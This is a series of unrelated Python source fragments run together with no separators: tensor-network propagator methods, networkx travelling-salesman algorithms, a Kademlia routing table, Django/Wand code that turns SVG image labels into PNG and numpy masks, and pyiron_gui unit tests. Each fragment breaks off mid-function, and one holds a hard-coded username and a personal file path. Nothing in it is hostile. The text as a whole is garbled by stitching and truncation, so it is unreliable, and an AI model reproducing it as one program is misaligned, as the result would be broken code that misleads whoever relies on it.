propagator_mpos def _system_site_mpo(self, h, tau): """ :param h: System site local operator :param tau: timestep :return: trotterized exponential in mpo form for the system site """ if h is None: return mp.eye(1, self.shape[self.system_index][0]) propagator = expm(-1j * tau * h) propagator = propagator.reshape(self.shape[self.system_index][0], self.shape[self.system_index][0]) mpo = mp.MPArray.from_array_global(propagator, ndims=2) return self._compress_mpo(mpo) def _mpo_from_hi(self, hi, tau, lbond, rbond): """ Builds e^(-1j*\tau*hi) for the physical legs and generates the mpo. :param hi: Bond operator (tuple of (Eigvals, Eigvecs)) :param tau: timestep for propagator :param lbond: Bond index (i) for the left site in hi :param rbond: Bond index for the right site in hi :return: e^(-1j*\tau*hi) in mpo form. """ # Generate e^(-j*tau*hi) physical_legs_exp = expm(-1j * tau * hi) # Tensorial shape of hi for the two physical sites i and i+1 in global form physical_legs_tensor_shape = (self.shape[lbond][0], self.shape[rbond][0], self.shape[lbond][0], self.shape[rbond][0]) physical_legs_exp = physical_legs_exp.reshape(physical_legs_tensor_shape) mpo = mp.MPArray.from_array_global(physical_legs_exp, ndims=2) return self._compress_mpo(mpo) def _get_right_sweep(self, trotter_exponentials, post_swap, pre_swap): """ Builds a list of tuples, which contain all the operators, that are necessary for the complete sweep from the system site, to the right edge of the chain and back. Sweeping to the right, we have: an evolution operator, followed by a post_swap Sweeping back to the left we have: a pre-swap, followed by an evolution operator Both combined to a single mpo. Each entry in the list contains a tuple, the first element of the tuple is the index of the left one of the two sites in the chain, for which the above mentioned operator applies. The second element is the operator itself :param trotter_exponentials: List of trotterized unitary operators :param post_swap: List of swap operators to be applied after the time-evo operators :param pre_swap: List of swap operators to be applied before the time-evo operators :return: List of tuples with entries as described above """ # System site is at the start right_sweep = list() # sweep right for site in range(self.system_index+1, self.L-1): right_sweep.append((site-1, self._compress_mpo(mp.dot(post_swap[site], trotter_exponentials[site])))) # right edge propagation right_sweep.append((self.L-2, trotter_exponentials[self.L-1])) # sweep back to the start for site in range(self.L-2, self.system_index, -1): right_sweep.append((site-1, self._compress_mpo(mp.dot(trotter_exponentials[site], pre_swap[site])))) return right_sweep def _get_left_sweep(self, trotter_exponentials, post_swap, pre_swap): """ Builds a list of tuples, which contain all the operators, that are necessary for the complete sweep from the system site, to the left edge of the chain and back. Sweeping to the left, we have: an evolution operator, followed by a post_swap Sweeping back to the right we have: a
""" ================================= Travelling Salesman Problem (TSP) ================================= Implementation of approximate algorithms for solving and approximating the TSP problem. Categories of algorithms which are implemented: - Christofides (provides a 3/2-approximation of TSP) - Greedy - Simulated Annealing (SA) - Threshold Accepting (TA) - Asadpour Asymmetric Traveling Salesman Algorithm The Travelling Salesman Problem tries to find, given the weight (distance) between all points where a salesman has to visit, the route so that: - The total distance (cost) which the salesman travels is minimized. - The salesman returns to the starting point. - Note that for a complete graph, the salesman visits each point once. The function `travelling_salesman_problem` allows for incomplete graphs by finding all-pairs shortest paths, effectively converting the problem to a complete graph problem. It calls one of the approximate methods on that problem and then converts the result back to the original graph using the previously found shortest paths. TSP is an NP-hard problem in combinatorial optimization, important in operations research and theoretical computer science. http://en.wikipedia.org/wiki/Travelling_salesman_problem """ import math import networkx as nx from networkx.utils import py_random_state, not_implemented_for, pairwise __all__ = [ "traveling_salesman_problem", "christofides", "asadpour_atsp", "greedy_tsp", "simulated_annealing_tsp", "threshold_accepting_tsp", ] def swap_two_nodes(soln, seed): """Swap two nodes in `soln` to give a neighbor solution. Parameters ---------- soln : list of nodes Current cycle of nodes seed : integer, random_state, or None (default) Indicator of random number generation state. See :ref:`Randomness<randomness>`. Returns ------- list The solution after move is applied. (A neighbor solution.) Notes ----- This function assumes that the incoming list `soln` is a cycle (that the first and last element are the same) and also that we don't want any move to change the first node in the list (and thus not the last node either). The input list is changed as well as returned. Make a copy if needed. See Also -------- move_one_node """ a, b = seed.sample(range(1, len(soln) - 1), k=2) soln[a], soln[b] = soln[b], soln[a] return soln def move_one_node(soln, seed): """Move one node to another position to give a neighbor solution. The node to move and the position to move to are chosen randomly. The first and last nodes are left untouched as soln must be a cycle starting at that node. Parameters ---------- soln : list of nodes Current cycle of nodes seed : integer, random_state, or None (default) Indicator of random number generation state. See :ref:`Randomness<randomness>`. Returns ------- list The solution after move is applied. (A neighbor solution.) Notes ----- This function assumes that the incoming list `soln` is a cycle (that the first and last element are the same) and also that we don't want any move to change the first node in the list (and thus not the last node either). The input list is changed as well as returned. Make a copy if needed. See Also -------- swap_two_nodes """ a, b = seed.sample(range(1, len(soln) - 1), k=2) soln.insert(b, soln.pop(a)) return soln @not_implemented_for("directed") def christofides(G, weight="weight", tree=None): """Approximate a solution of the traveling salesman problem Compute a 3/2-approximation of the traveling salesman problem in a complete undirected graph using Christofides [1]_ algorithm. Parameters ---------- G : Graph `G` should be a complete weighted undirected graph. The distance between all pairs of nodes should be included. weight : string, optional (default="weight") Edge data key corresponding to the edge weight. If any edge does not have this attribute the weight is set to 1. tree : NetworkX graph or None (default: None) A minimum spanning tree of G. Or, if None, the minimum spanning tree is computed using :func:`networkx.minimum_spanning_tree` Returns ------- list List of nodes in `G` along a cycle with a 3/2-approximation of the minimal Hamiltonian cycle. References ---------- .. [1] <NAME>. "Worst-case analysis of a new heuristic for the travelling salesman problem." No. RR-388. Carnegie-Mellon Univ Pittsburgh Pa Management Sciences Research Group, 1976. """ # Remove selfloops if necessary loop_nodes = nx.nodes_with_selfloops(G) try: node = next(loop_nodes) except StopIteration: pass else: G = G.copy() G.remove_edge(node, node) G.remove_edges_from((n, n) for n in loop_nodes) # Check that G is a complete graph N = len(G) - 1 # This check ignores selfloops which is what we want here. if any(len(nbrdict) != N for n, nbrdict in G.adj.items()): raise nx.NetworkXError("G must be a complete graph.") if tree is None: tree = nx.minimum_spanning_tree(G, weight=weight) L = G.copy() L.remove_nodes_from([v for v, degree in tree.degree if not (degree % 2)]) MG = nx.MultiGraph() MG.add_edges_from(tree.edges) edges = nx.min_weight_matching(L, maxcardinality=True, weight=weight) MG.add_edges_from(edges) return _shortcutting(nx.eulerian_circuit(MG)) def _shortcutting(circuit): """Remove duplicate nodes in the path""" nodes = [] for u, v in circuit: if v in nodes: continue if not nodes: nodes.append(u) nodes.append(v) nodes.append(nodes[0]) return nodes def traveling_salesman_problem(G, weight="weight", nodes=None, cycle=True, method=None): """Find the shortest path in `G` connecting specified nodes This function allows approximate solution to the traveling salesman problem on networks that are not complete graphs and/or where the salesman does not need to visit all nodes. This function proceeds in two steps. First, it creates a complete graph using the all-pairs shortest_paths between nodes in `nodes`. Edge weights in the new graph are the lengths of the paths between each pair of nodes in the original graph. Second, an algorithm (default: `christofides` for undirected and `asadpour_atsp` for directed) is used to approximate the minimal Hamiltonian cycle on this new graph. The available algorithms are: - christofides - greedy_tsp - simulated_annealing_tsp - threshold_accepting_tsp - asadpour_atsp Once the Hamiltonian Cycle is found, this function post-processes to accommodate the structure of the original graph. If `cycle` is ``False``, the biggest weight edge is removed to make a Hamiltonian path. Then each edge on the new complete graph used for that analysis is replaced by the shortest_path between those nodes on the original graph. Parameters ---------- G : NetworkX graph A possibly weighted graph nodes : collection of nodes (default=G.nodes) collection (list, set, etc.) of nodes to visit weight : string, optional (default="weight") Edge data key corresponding to the edge weight. If any edge does not have this attribute the weight is set to 1. cycle : bool (default: True) Indicates whether a cycle should be returned, or a path. Note: the cycle is the approximate minimal cycle. The path simply removes the biggest edge in that cycle. method : function (default: None) A function that returns a cycle on all nodes and approximates the solution to the traveling salesman problem on a complete graph. The returned cycle is then used to find a corresponding solution on `G`. `method` should be callable; take inputs `G`, and `weight`; and return a list of nodes along the cycle. Provided options include :func:`christofides`, :func:`greedy_tsp`, :func:`simulated_annealing_tsp` and :func:`threshold_accepting_tsp`. If `method is None`: use :func:`christofides` for undirected `G` and :func:`threshold_accepting_tsp` for directed `G`. To specify parameters for these provided functions, construct lambda functions that state the specific value. `method` must have 2 inputs. (See examples). Returns ------- list List of nodes in `G` along a path with an approximation of the minimal path through `nodes`. Raises ------ NetworkXError If `G` is a directed graph it has to be strongly connected or the complete version cannot be generated. Examples -------- >>> tsp = nx.approximation.traveling_salesman_problem >>> G = nx.cycle_graph(9) >>> G[4][5]["weight"] = 5 # all other weights are 1 >>> tsp(G, nodes=[3, 6]) [3, 2, 1, 0, 8, 7, 6, 7, 8, 0, 1, 2, 3] >>> path = tsp(G, cycle=False) >>> path in ([4, 3, 2, 1, 0, 8, 7, 6, 5], [5, 6, 7, 8, 0, 1, 2, 3, 4]) True Build (curry) your own function to provide parameter values to the methods. >>> SA_tsp = nx.approximation.simulated_annealing_tsp >>> method = lambda G, wt: SA_tsp(G, "greedy", weight=wt, temp=500) >>> path = tsp(G, cycle=False, method=method) >>> path in ([4, 3, 2, 1, 0, 8, 7, 6, 5], [5, 6, 7, 8, 0, 1, 2, 3, 4]) True """ if method is None: if G.is_directed(): method = asadpour_atsp else: method = christofides if nodes is None: nodes = list(G.nodes) dist = {} path = {} for n, (d, p) in nx.all_pairs_dijkstra(G,
<filename>node/routingtable.py """ Interface and implementation of a Kademlia routing table. Classes: RoutingTable -- Interface OptimizedTreeRoutingTable -- Implementation """ from abc import ABCMeta, abstractmethod import logging import time from node import constants, guid, kbucket class RoutingTable(object): """ Interface for routing table implementations. Classes inheriting from this should provide a suitable routing table for a parent Node object (i.e. the local entity in the Kademlia network). """ __metaclass__ = ABCMeta def __init__(self, parent_node_id, market_id): """ Initialize a new RoutingTable. @param parent_node_id: The node ID of the node to which this routing table belongs. @type parent_node_id: guid.GUIDMixin or str or unicode @param market_id: FILLME @type: int """ self.market_id = market_id self.parent_node_id = parent_node_id self.log = logging.getLogger( '[%s] %s' % (self.market_id, self.__class__.__name__) ) @abstractmethod def add_contact(self, node_id): """ Add the given node to the correct KBucket; if it already exists, update its status. """ pass @staticmethod def distance(node_id1, node_id2): """ Calculate the XOR result between two string variables. @param node_id1: The ID of the first node. @type node_id1: guid.GUIDMixin or str or unicode @param node_id2: The ID of the second node. @type node_id1: guid.GUIDMixin or str or unicode @return: XOR result of two long variables @rtype: long @raises: ValueError: The strings have improper lengths for IDs. """ if str(node_id1)[:4] == 'seed' or str(node_id2)[:4] == 'seed': return if isinstance(node_id1, guid.GUIDMixin): key1 = node_id1.guid else: key1 = node_id1 if isinstance(node_id2, guid.GUIDMixin): key2 = node_id2.guid else: key2 = node_id2 if key1 and len(key1) != constants.HEX_NODE_ID_LEN: raise ValueError( "node_id1 has invalid length %d; must be %d" % ( len(key1), constants.HEX_NODE_ID_LEN ) ) if key2 and len(key2) != constants.HEX_NODE_ID_LEN: raise ValueError( "node_id2 has invalid length %d; must be %d" % ( len(key2), constants.HEX_NODE_ID_LEN ) ) # print key1, key2, type(key1), type(key2) val_key1 = int(key1, base=16) val_key2 = int(key2, base=16) return val_key1 ^ val_key2 @staticmethod def num_to_id(node_num): """ Converts an integer to a node ID. It is the caller's responsibility to ensure the resulting node ID falls in the ID space. @param node_num: The integer to convert. @type node_num: int @return: A node ID (hex) corresponding to the number given. @rtype: str """ # Convert to hex string. node_id = hex(node_num) # Strip '0x' prefix and 'L' suffix. bare_node_id = node_id.lstrip("0x").rstrip("L") # Pad to proper length and return. return bare_node_id.rjust(constants.HEX_NODE_ID_LEN, '0') @abstractmethod def find_close_nodes(self, node_id, count, rpc_node_id=None): """ Find a number of known nodes closest to the node/value with the specified ID. @param node_id: The node ID to search for @type node_id: guid.GUIDMixin or str or unicode @param count: The amount of contacts to return @type count: int @param rpc_node_id: Used during RPC, this is the sender's node ID. The ID passed as parameter is excluded from the list of returned contacts. @type rpc_node_id: guid.GUIDMixin or str or unicode @return: A list of nodes closest to the specified key. This method will return constants.K (or count, if specified) contacts if at all possible; it will only return fewer if the node is returning all of the contacts that it knows of. @rtype: list of guid.GUIDMixin """ pass @abstractmethod def get_contact(self, node_id): """ Return the known node with the specified ID, None if not found. @param: node_id: The ID of the node to search for. @type: guid.GUIDMixin or str or unicode @return: The node with the specified ID or None @rtype: guid.GUIDMixin or NoneType """ pass @abstractmethod def get_refresh_list(self, start_index=0, force=False): """ Find all KBuckets that need refreshing, starting at the KBucket with the specified index, and return IDs to be searched for in order to refresh those KBuckets. @param start_index: The index of the bucket to start refreshing at; this bucket and those further away from it will be refreshed. For example, when joining the network, this node will set this to the index of the bucket after the one containing its closest neighbour. @type start_index: int @param force: If this is True, all buckets in the specified range will be refreshed, regardless of the time they were last accessed. @type force: bool @return: A list of node IDs that the parent node should search for in order to refresh the routing Table. @rtype: list of guid.GUIDMixin """ pass @abstractmethod def remove_contact(self, node_id): """ Remove the node with the specified ID from the routing table. @param node_id: The ID of the node to remove. @type node_id: guid.GUIDMixin or str or unicode """ pass @abstractmethod def touch_kbucket(self, node_id, timestamp=None): """ Update the "last accessed" timestamp of the KBucket which covers the range containing the specified key in the key/ID space. @param node_id: A key in the range of the target KBucket @type node_id: guid.GUIDMixin or str or unicode @param timestamp: The timestamp to set on the bucket. If None, it will be set to int(time.time()). @type timestamp: int """ pass class OptimizedTreeRoutingTable(RoutingTable): """ This class implements a routing table used by a Node class. The Kademlia routing table is a binary tree whose leaves are KBuckets, where each KBucket contains nodes with some common prefix of their IDs. This prefix is the KBucket's position in the binary tree; it therefore covers some range of ID values, and together all of the KBuckets cover the entire ID space, without any overlaps. Note: This implementation adds nodes in the tree (the KBuckets) in an on-demand fashion, as described in section 2.4 of the 13-page version of the Kademlia paper[1]. It also uses the contact accounting optimization specified in section 4.1 of the said paper (optimized node accounting without PINGs). This results in much less network traffic, at the expense of some memory. [1]: http://pdos.csail.mit.edu/~petar/papers/maymounkov-kademlia-lncs.pdf """ def __init__(self, parent_node_id, market_id): """ Initialize a new OptimizedTreeRoutingTable. For details, see RoutingTable documentation. """ super(OptimizedTreeRoutingTable, self).__init__( parent_node_id, market_id ) # Cache containing nodes eligible to replace stale KBucket entries self.replacement_cache = {} self.buckets = [ kbucket.KBucket( range_min=0, range_max=2**constants.BIT_NODE_ID_LEN, market_id=market_id ) ] def add_contact(self, contact): """ Add the given contact to the correct KBucket; if it already exists, update its status. For details, see RoutingTable documentation. """ if not contact.guid: self.log.error('No guid specified') return if contact.guid == self.parent_node_id: self.log.info('Trying to add yourself. Leaving.') return bucket_index = self.kbucket_index(contact.guid) old_contact = self.buckets[bucket_index].get_contact(contact.guid) if old_contact: self.remove_contact(contact.guid) try: self.buckets[bucket_index].add_contact(contact) except kbucket.BucketFull: # The bucket is full; see if it can be split (by checking if # its range includes the host node's id) if self.buckets[bucket_index].key_in_range(self.parent_node_id): self.split_bucket(bucket_index) # Retry the insertion attempt self.add_contact(contact) else: # We can't split the KBucket # NOTE: This implementation follows section 4.1 of the 13 # page version of the Kademlia paper (optimized contact # accounting without PINGs - results in much less network # traffic, at the expense of some memory) # Put the new contact in our replacement cache for the # corresponding KBucket (or update it's position if it # exists already) if bucket_index not in self.replacement_cache: self.replacement_cache[bucket_index] = [] if contact in self.replacement_cache[bucket_index]: self.replacement_cache[bucket_index].remove(contact) # TODO: Using k to limit the size of the contact # replacement cache - maybe define a separate value for # this in constants.py? elif len(self.replacement_cache) >= constants.K: self.replacement_cache.pop(0) self.replacement_cache[bucket_index].append(contact) # elif old_contact.port == contact.port: # self.log.info('Remove contact') # self.remove_contact(contact.guid) # # try: # self.buckets[bucket_index].add_contact(contact) # except kbucket.BucketFull: # # The bucket is full; see if it can be split (by checking # # if its range includes the host node's id) # if self.buckets[bucket_index].key_in_range(self.parent_node_id): # self.split_bucket(bucket_index) # # Retry the insertion attempt # self.add_contact(contact) # else: # # We can't split the KBucket # # NOTE: This implementation follows section 4.1 of the # # 13 page version of the Kademlia paper (optimized # # contact accounting without PINGs - results in much # # less network traffic, at the expense of some memory) # # # Put the new contact in our replacement cache for the # # corresponding KBucket (or update it's position if # # it exists already) # if bucket_index not in self.replacement_cache: #
from wand.image import Image as WandImage from wand.color import Color as WandColor import io from webclient.models import User, Labeler, Image, ImageLabel, CategoryLabel from django.conf import settings import re import wand.exceptions import os from PIL import Image as PILImage import numpy import SVGRegex from webclient.image_ops import crop_images import numpy as np import imageio import tensorflow as tf IMAGE_FILE_EXTENSION = '.png' def getLabelImagePILFile(label): # foldername = settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + '/' + label.categoryType.category_name + '/' # filename = labelFilename(label) + IMAGE_FILE_EXTENSION # if not os.path.exists(foldername + filename): # return None return PILImage.fromarray(countableLabel(label.combined_labelShapes)) # .convert("L") def getAverageLabelImagePILFile(image, category, threshold): foldername = category.category_name + '/Threshold_' + str(threshold) + '/' imagename = "P%iC%sI%s.png" % (image.id, category.category_name, image.name) filename = foldername + imagename if not os.path.exists(filename): return None return PILImage.open(filename) def convertSVGtoPNG(img_file, foldername, filename, reconvert=False): # Convert copy of image to new format if not img_file: # TODO: Some error checking return # TODO: error checking on foldername and filename foldername_ = foldername if foldername_[0] == '/' or foldername_[0] == '\\': foldername_ = foldername_[1:] if foldername_[-1] == '/' or foldername_[-1] == '\\': foldername_ = foldername_[:-1] if not reconvert and os.path.exists( settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/' + filename + '.png'): return settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/' + filename + IMAGE_FILE_EXTENSION try: # svgs = separatePaths(img_file) with WandImage(blob=img_file) as img: # img.depth = 1 # img.colorspace = 'gray' # print(filename) # print(WandColor('white')) img.background_color = WandColor('white') img.alpha_channel = 'remove' # Convert to black and white img.negate() img.threshold(0) # img.negate() img.format = 'png' if not os.path.exists(settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/'): os.makedirs(settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/') img.save(filename=( settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/' + filename + IMAGE_FILE_EXTENSION)) print(("converted Image " + filename)) return settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/' + filename + IMAGE_FILE_EXTENSION except wand.exceptions.CoderError as e: print(('Failed to convert: ' + filename + ': ' + str(e))) except wand.exceptions.MissingDelegateError as e: print(('DE Failed to convert: ' + filename + ': ' + str(e))) except wand.exceptions.WandError as e: print(('Failed to convert ' + filename + ': ' + str(e))) def SVGStringToImageBlob(svg): if not svg: return svgFile = io.StringIO(svg) try: with WandImage(file=svgFile) as img: img.background_color = WandColor('white') img.alpha_channel = 'remove' # Convert to black and white img.negate() img.threshold(0) img.format = 'png' return img.make_blob() except wand.exceptions.CoderError as e: print(('Failed to convert: ' + svg + ': ' + str(e))) except wand.exceptions.MissingDelegateError as e: print(('DE Failed to convert: ' + svg + ': ' + str(e))) except wand.exceptions.WandError as e: print(('Failed to convert ' + svg + ': ' + str(e))) def image_label_to_SVG_String_file(label): SVG_string_file = io.StringIO(image_label_string_to_SVG_string(label.combined_labelShapes)) SVG_string_file.seek(0) return SVG_string_file.read().encode('utf-8') def image_string_to_SVG_string_file(svgStr): SVG_string_file = io.StringIO(svgStr) SVG_string_file.seek(0) return SVG_string_file.read().encode('utf-8') def category_label_to_SVG_String_file(label): SVG_string_file = io.StringIO(category_label_string_to_SVG_string(label)) SVG_string_file.seek(0) return SVG_string_file.read().encode('utf-8') def render_SVG_from_label(label): if isinstance(label, ImageLabel): svg = label.combined_labelShapes svg_file = image_label_to_SVG_String_file(label) elif isinstance(label, CategoryLabel): svg = label.labelShapes svg_file = category_label_to_SVG_String_file(label) else: raise ValueError("label must be an ImageLabel or CategoryLabel, it is instead an {}".format(type(label))) try: with WandImage(blob=svg_file) as img: img.format = 'png' return img.make_blob() except wand.exceptions.CoderError as e: raise RuntimeError(('Failed to convert: ' + svg + ': ' + str(e))) except wand.exceptions.MissingDelegateError as e: raise RuntimeError(('DE Failed to convert: ' + svg + ': ' + str(e))) except wand.exceptions.WandError as e: raise RuntimeError(('Failed to convert ' + svg + ': ' + str(e))) except ValueError as e: raise RuntimeError(('Failed to convert ' + svg + ': ' + str(e))) # Returns array of SVGs each with 1 path def separatePaths(svg): # rePath = r'(<path[^/>]*/>)' paths = re.findall(SVGRegex.rePath, svg) + re.findall(SVGRegex.reCircle, svg) image, height, width = SVGDimensions(svg) images = [] for path in paths: images.append(SVGStringToImageBlob(image_label_string_to_SVG_string(path, height, width))) return images def SVGDimensions(str): result = re.search(SVGRegex.reWH, str) if result == None: return (None, None, None) # reFill = r'<path[^/>]*fill\s*=\s*"(?P<fill>[^"]*)"' # reStroke = r'<path[^/>]*stroke\s*=\s*"(?P<stroke>[^"]*)"' pathFill = '#000001' pathStroke = '#000001' image = result.group(0) height = int(result.group('height')) width = int(result.group('width')) return (image, height, width) # If height and width are defined, image tag is not removed # Otherwise, height and width are extracted from it and it is removed def image_label_string_to_SVG_string(DBStr, height=None, width=None, keepImage=False): addedStr = DBStr if height == None or width == None: image, height, width = SVGDimensions(DBStr) if not keepImage and image: addedStr = DBStr.replace(image, '') addedStr = addedStr.encode('utf-8') return '<?xml version="1.0" encoding="UTF-8" standalone="no"?>' \ '<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg"' \ ' xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" xml:space="preserve" height="%s"' \ ' width="%s">%s</svg>\n' % (height, width, addedStr) def image_labels_to_countable_npy(): _user = User.objects.filter(username='Rinku1234')[0] _labeler = Labeler.objects.filter(user=_user)[0] labels = ImageLabel.objects.filter(labeler=_labeler) foldername = 'npy' for label in labels: parent_image = label.parentImage filename = '%s' % parent_image.name.replace('.JPG','') outputFilenameNpy = (settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/' + filename + '.npy') categorylabels = label.categorylabel_set.all() height = parent_image.height width = parent_image.width total_paths = 254 masks_ndarray = np.zeros((total_paths, height, width), dtype=np.float) ctr = 0 for cat_id, categorylabel in enumerate(categorylabels): svg = categorylabel.labelShapes paths = [] poly = [] paths = re.findall(SVGRegex.rePath, svg) poly = re.findall(SVGRegex.rePolygon, svg) shapes = paths + poly if len(paths) + len(poly) > 0: for idx,path in enumerate(shapes): print(ctr, cat_id, idx, path) img=WandImage(blob=image_string_to_SVG_string_file(image_label_string_to_SVG_string(path, height, width))) img.resize(width,height) img.background_color = WandColor('white') img.alpha_channel = 'remove' img.negate() img.threshold(0) img.format = 'png' if not os.path.exists(settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername): os.makedirs(settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername) outputFilename = ( settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/' + filename + '_' + str(idx) + '_' + str(ctr) + IMAGE_FILE_EXTENSION) img.save(filename=outputFilename) im = imageio.imread(outputFilename) masks = np.array(im) category_id = categorylabel.categoryType_id cat_mask = np.where(masks == 255,category_id , masks) masks_ndarray[ctr, :, :] = cat_mask ctr = ctr + 1 else: print(ctr, cat_id, 0, 'EMPTY') masks_ndarray.resize(ctr, height, width) print(masks_ndarray.shape) np.save(outputFilenameNpy,masks_ndarray) def float_feature(value): return tf.train.Feature(float_list=tf.train.FloatList(value=value)) # open tfrecord file train_data_path = (settings.STATIC_ROOT + settings.LABEL_FOLDER_NAME + foldername + '/' + filename + '.tfrecord') writer = tf.io.TFRecordWriter(train_data_path) feature_dict = { 'f_array': float_feature(masks_ndarray.flatten()), } # make train example example = tf.train.Example(features=tf.train.Features(feature=feature_dict)) # write on the file writer.write(example.SerializeToString()) def category_label_string_to_SVG_string(category_label, keepImage=False): addedStr = category_label.labelShapes image, height, width = SVGDimensions(category_label.parent_label.combined_labelShapes) if keepImage: addedStr = image + addedStr addedStr = addedStr.encode('utf-8') return '<?xml version="1.0" encoding="UTF-8" standalone="no"?>' \ '<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg"' \ ' xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" xml:space="preserve" height="%s"' \ ' width="%s">%s</svg>\n' % (height, width, addedStr) def convert_image_labels_to_SVGs(label_list, reconvert=False): return [convert_image_label_to_SVG(label, reconvert) for label in label_list if label is not None] def convert_category_labels_to_SVGs(label_list, reconvert=False): return [convert_category_label_to_SVG(label, reconvert) for label in label_list if label is not None] def convert_image_label_to_SVG(image_label, reconvert=False): return convertSVGtoPNG(img_file=image_label_to_SVG_String_file(image_label), foldername="combined_image_labels", filename=image_label_filename(image_label), reconvert=reconvert) def convert_category_label_to_SVG(category_label, reconvert=False): return convertSVGtoPNG(img_file=category_label_to_SVG_String_file(category_label), foldername=category_label.categoryType.category_name, filename=category_label_filename(category_label), reconvert=reconvert) def image_label_filename(label): return 'P%iL%iI%s' % ( label.parentImage.id, label.id, label.parentImage.name) def category_label_filename(label): return 'C%sP%iL%iI%s' % ( label.categoryType.category_name, label.parent_label.parentImage.id, label.id, label.parent_label.parentImage.name) def convertAll(reconvert=False): convert_image_labels_to_SVGs(ImageLabel.objects.all(), reconvert=reconvert) def countableLabel(svgString): convertedImages = separatePaths(svgString) height, width = SVGDimensions(svgString)[1:] if not height or not width: return None image = numpy.zeros((height, width), numpy.uint8) for convertedImage in convertedImages: img = PILImage.open(io.StringIO(convertedImage)).convert("L") imgArr = numpy.array(img, copy=True) imgArr[imgArr == 255] = 1 image += imgArr # PILImage.open(StringIO.StringIO(convertedImage)).show() # for i in image * 100: # print i # PILImage.fromarray(image * 20, mode='L').show() return image def combineImageLabelsToArr(image, category, thresholdPercent=50): threshold = thresholdPercent / 100.0 labels = ImageLabel.objects.all().filter(parentImage=image, categoryType=category) if not labels: return labelImages = [countableLabel(label.combined_labelShapes) for label in labels] # Based on https://stackoverflow.com/questions/17291455/how-to-get-an-average-picture-from-100-pictures-using-pil height, width = SVGDimensions(labels[0].combined_labelShapes)[1:] arr = numpy.zeros((height, width), numpy.float) # TODO: Make this code better by taking into account ImageWindows ###Temp code # N = len(labelImages) N = crop_images.NUM_LABELS_PER_WINDOW for im in labelImages: if im is None: continue imarr = im.astype(numpy.float) # img.show() arr = arr + imarr / N # Outarr = numpy.array(numpy.round(arr * 20), dtype=numpy.uint8) # out = PILImage.fromarray(Outarr, mode="L") # out.save("C:/Users/Sandeep/Dropbox/kumar-prec-ag/temp/%sAverage.png" %image.name) # out.show() # # Outarr = numpy.array(numpy.round(arr), dtype=numpy.uint8) # out = PILImage.fromarray(Outarr * 20, mode="L") # out.save("C:/Users/Sandeep/Dropbox/kumar-prec-ag/temp/%sThresholdAverage.png" %image.name) # out.show() # return numpy.array(numpy.round(arr), dtype=numpy.uint8) ui8 = arr.astype(numpy.uint8) # PILImage.fromarray((ui8 + (arr >= (ui8 + threshold)).astype(numpy.uint8)) * 40, mode="L").show() return ui8 + (arr >= (ui8 + threshold)).astype(numpy.uint8) # numpy.array(numpy.round(arr), dtype=numpy.uint8) def saveCombinedImage(imageNPArr, image, category, threshold): # Folder format: /averages/*category*/Threshold_*threshold*/ foldername = category.category_name + '/Threshold_' + str(threshold) + '/' imagename = "P%iC%sI%s.png" % (image.id, category.category_name, image.name) if not os.path.exists(settings.STATIC_ROOT + settings.LABEL_AVERAGE_FOLDER_NAME + foldername): os.makedirs(settings.STATIC_ROOT + settings.LABEL_AVERAGE_FOLDER_NAME + foldername) out = PILImage.fromarray(imageNPArr, mode='L') # out.show() out.save(settings.STATIC_ROOT + settings.LABEL_AVERAGE_FOLDER_NAME + foldername + imagename) def combineAllLabels(threshold): for image in Image.objects.all(): if len(ImageLabel.objects.all.filter( parentImage=image)) < crop_images.NUM_LABELS_PER_WINDOW * crop_images.NUM_WINDOW_ROWS
# coding: utf-8 # Copyright (c) Max-Planck-Institut für Eisenforschung GmbH - Computational Materials Design (CM) Department # Distributed under the terms of "New BSD License", see the LICENSE file. import io import os import unittest import unittest.mock import ipywidgets as widgets import matplotlib.pyplot as plt import nbformat import numpy as np from pyiron_atomistics import Atoms from pyiron_atomistics.atomistics.master.murnaghan import Murnaghan from pyiron_base._tests import TestWithProject, TestWithCleanProject from pyiron_gui.project.project_browser import (DisplayOutputGUI) from pyiron_gui.wrapper.widgets import AtomsWidget, MurnaghanWidget, NumpyWidget from pyiron_gui.wrapper.wrapper import PyironWrapper, BaseWrapper, AtomsWrapper, MurnaghanWrapper class TestPyironWrapper(TestWithProject): def test___new__str(self): self.assertIsInstance(PyironWrapper("string_obj.ext", self.project), BaseWrapper) def test___new__atoms(self): fe = Atoms(cell=[4, 4, 4], elements=['Fe', 'Fe'], positions=[[0, 0, 0], [2, 2, 2]], pbc=True) self.assertIsInstance(PyironWrapper(fe, self.project), AtomsWrapper) def test___new__murn(self): ref_job = self.project.create.job.Lammps('ref') murn = ref_job.create_job('Murnaghan', 'murn') self.assertIsInstance(PyironWrapper(murn, self.project.open('sub')), MurnaghanWrapper) class TestBaseWrapper(TestWithProject): def setUp(self): self.pw_str = BaseWrapper("string_obj.ext", self.project) self.pw_str_w_rel_path = BaseWrapper("string_obj.ext", self.project, rel_path="some/random/path") self.broken_proj_pw_str = BaseWrapper("string_obj.ext", None) def test___init__(self): self.assertEqual(self.pw_str._wrapped_object, "string_obj.ext") def test_path(self): self.assertEqual(self.pw_str.path, self.project.path) self.assertEqual(self.pw_str_w_rel_path.path, os.path.join(self.project.path, 'some/random/path')) with self.assertRaises(AttributeError): print(self.broken_proj_pw_str.path) def test_list_nodes(self): msg = "Each object in the PyironWrapper should have list_nodes()" self.assertEqual(self.pw_str.list_nodes(), [], msg=msg) def test___getattr__(self): self.assertTrue(self.pw_str.endswith('.ext'), msg="Unknown attributes should be passed to the wrapped object.") def test_name(self): self.assertIs(self.pw_str.name, None, msg='str does not have a defined self representation, thus should be None') def test___repr__(self): self.assertEqual(repr(self.pw_str), "'string_obj.ext'") def test_project(self): self.assertIs(self.pw_str.project, self.project, msg='A sting does not have a project and pw should return the project') def 